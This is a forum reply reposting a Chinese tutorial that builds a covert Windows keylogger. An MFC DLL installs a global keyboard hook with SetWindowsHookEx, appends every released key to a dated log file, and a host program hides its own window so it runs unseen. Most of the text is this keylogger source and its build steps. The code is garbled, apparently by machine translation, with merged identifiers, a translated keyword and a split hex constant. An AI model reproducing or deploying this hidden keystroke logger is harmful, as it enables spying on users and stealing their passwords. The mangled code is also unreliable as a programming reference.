
这是我最初创建的一个简单示例。 LZ参考,看它是否有用
三、键盘挂钩程序示例
此示例程序使用全局挂钩函数。该程序分为两部分:可执行程序KeyHook和动态链接库LaunchDLL。
1、首先编译MFC扩展动态链接库LaunchDLL.dll:
([1)选择MFCAppWizard(DLL)来创建项目LaunchDLL;在以下选项中选择RegularstaticallylinkedtoMFCDLL(标准静态链接MFCDLL)。
(2)在LaunchDLL.h中添加宏定义和要导出的函数的声明:
#defineDllExport__declspec(dllexport)
……
DllExportvoidWINAPIInstallLaunchEv();
……
classCLaunchDLLApp:publicCWinApp
{
公开
:
CLaunchDLLApp();
// {{AFX_VIRTUAL(CLaunchDLLApp)
//}} AFX_VIRTUAL

// {{AFX_MSG(CLaunchDLLApp)
//注意,ClassWizard将在此处添加和删除成员功能。
//请勿编辑在这些生成的代码块中看到的内容!
//}} AFX_MSG
DECLARE_MESSAGE_MAP()
};
([3)在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook,SaveLog:
HHOOKHook;
LRESULTCALLBACKLauncherHook(intnCode,WPARAMwParam,LPARAMlParam);
voidSaveLog(char * c);
(4)完成上述功能的实现:
……
CLaunchDLLApptheApp;
……
DllExportvoidWINAPIInstallLaunchEv()
{
Hook =(HHOOK)SetWindowsHookEx(WH_KEYBOARD,

(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
}
在这里,我们已经实现了Windows系统挂钩的安装。首先,我们需要调用SDK中的API函数SetWindowsHookEx来安装hook函数。原型是:
HHOOKSetWindowsHookEx(intidHook,
HOOKPROClpfn,
HINSTANCEhMod,
DWORDdwThreadId);
其中,第一个参数指定挂钩的类型,常用的是WH_MOUSE,WH_KEYBOARD,WH_GETMESSAGE等,这里我们只关心键盘操作,因此设置为WH_KEYBOARD;第二个参数标识钩子函数的入口地址,作为钩子在钩住任何消息后调用该函数,也就是说,无论系统的哪个窗口有键盘输入,都会立即引起LauncherHook动作;第三个参数是挂钩函数所在的模块的句柄,我们可以轻松地将其设置为应用程序的程序的实例句柄;最后一个参数是与挂钩相关的函数的ID,用于指定您希望挂钩挂接的线程。为0时,将拦截整个系统的消息。在此程序中,挂钩必须是全局挂钩,因此将其设置为0。
……
LRESULTCALLBACKLauncherHook(intnCode,WPARAMwParam,LPARAMlParam)
{
LRESULTResult = CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode == HC_ACTION)
{
if(lParam&0x8000000 0)
{

charc [1];
c [0] = wParam;
SaveLog(c);
}
}
returnResult;
}
尽管调用CallNextHookEx()是可选的,但强烈建议调用此函数。否则,安装了该挂钩的其他应用程序将不会收到该挂钩的通知,并且可能会产生不正确的结果。因此,除非绝对有必要阻止其他程序获取通知,否则我们应该尝试调用此函数。
……
voidSaveLog(char * c)
{
CTimetm = CTime :: GetCurrentTime();
CStringname;
name.Format(“ c:\\ Key_%d_%d.log”,tm.GetMonth(),tm.GetDay());
CFilefile;
if(!file.Open(name,CFile :: modeReadWrite))
{
file.Open(name,CFile :: modeCreate | CFile :: modeReadWrite);

}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
弹起键时,使用此功能将刚弹起的键保存到记录文件中,以达到监视和记录键盘的目的。
编译后,您可以获得运行时所需的键盘挂钩的动态链接库LaunchDLL.dll和用于静态链接的LaunchDLL.lib。
2、让我们开始编写调用此动态链接库的主程序,并实现最终集成:
(1)使用MFC的AppWizard(EXE)创建项目KeyHook;
([2)选择一个文档,其余步骤可以确认;
([3)将LaunchDLL.h和LaunchDLL.lib复制到KeyHook项目目录,并将LaunchDLL.dll复制到Debug目录。
(4)链接DLL库,即在“项目”,“设置...”的“链接”属性页中,在“对象/库模块:”中填写“ LaunchDLL.lib”。传递“项目”,“ AddToProject”,“文件...”,将LaunchDLL.h添加到项目中,最后在可视类的源文件KeyHook.cpp中添加对它的引用:
#include“ LaunchDLL.h”
因此,我们可以使用动态链接库LaunchDLL.dll中的所有导出功能,就像该项目中的功能一样。
([5)在可视类中添加虚拟函数OnInitialUpdate(),并添加代码以完成键盘钩的安装:
……
InstallLaunchEv();
……
(6)到目前为止,所有功能都已完成,但是作为后台监视软件,它在运行时不会具有接口。您可以在Windows的InitInstance()函数中设置m_pMainWnd-> ShowWindow应用程序类CkeyHookApp(SW_SHOW);更改为m_pMainWnd-> ShowWindow(SW_HIDE);确定。
四、操作和检测
编译并运行该程序,运行后没有任何现象,但是您可以通过Alt + Ctrl + Del在关闭程序对话框中找到我们刚刚编写的程序“ KeyHook”,然后通过键盘输入字符任何程序。然后打开记录文件,我们会发现:通过键盘钩,我们刚刚输入的字符已记录在记录文件中。
摘要:系统挂钩具有相当强大的功能。通过这种技术,几乎所有Windows系统消息都可以被拦截,监视和处理。该技术广泛应用于各种自动监控系统中
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/bofangqi/article-317985-1.html
猪乸也会上树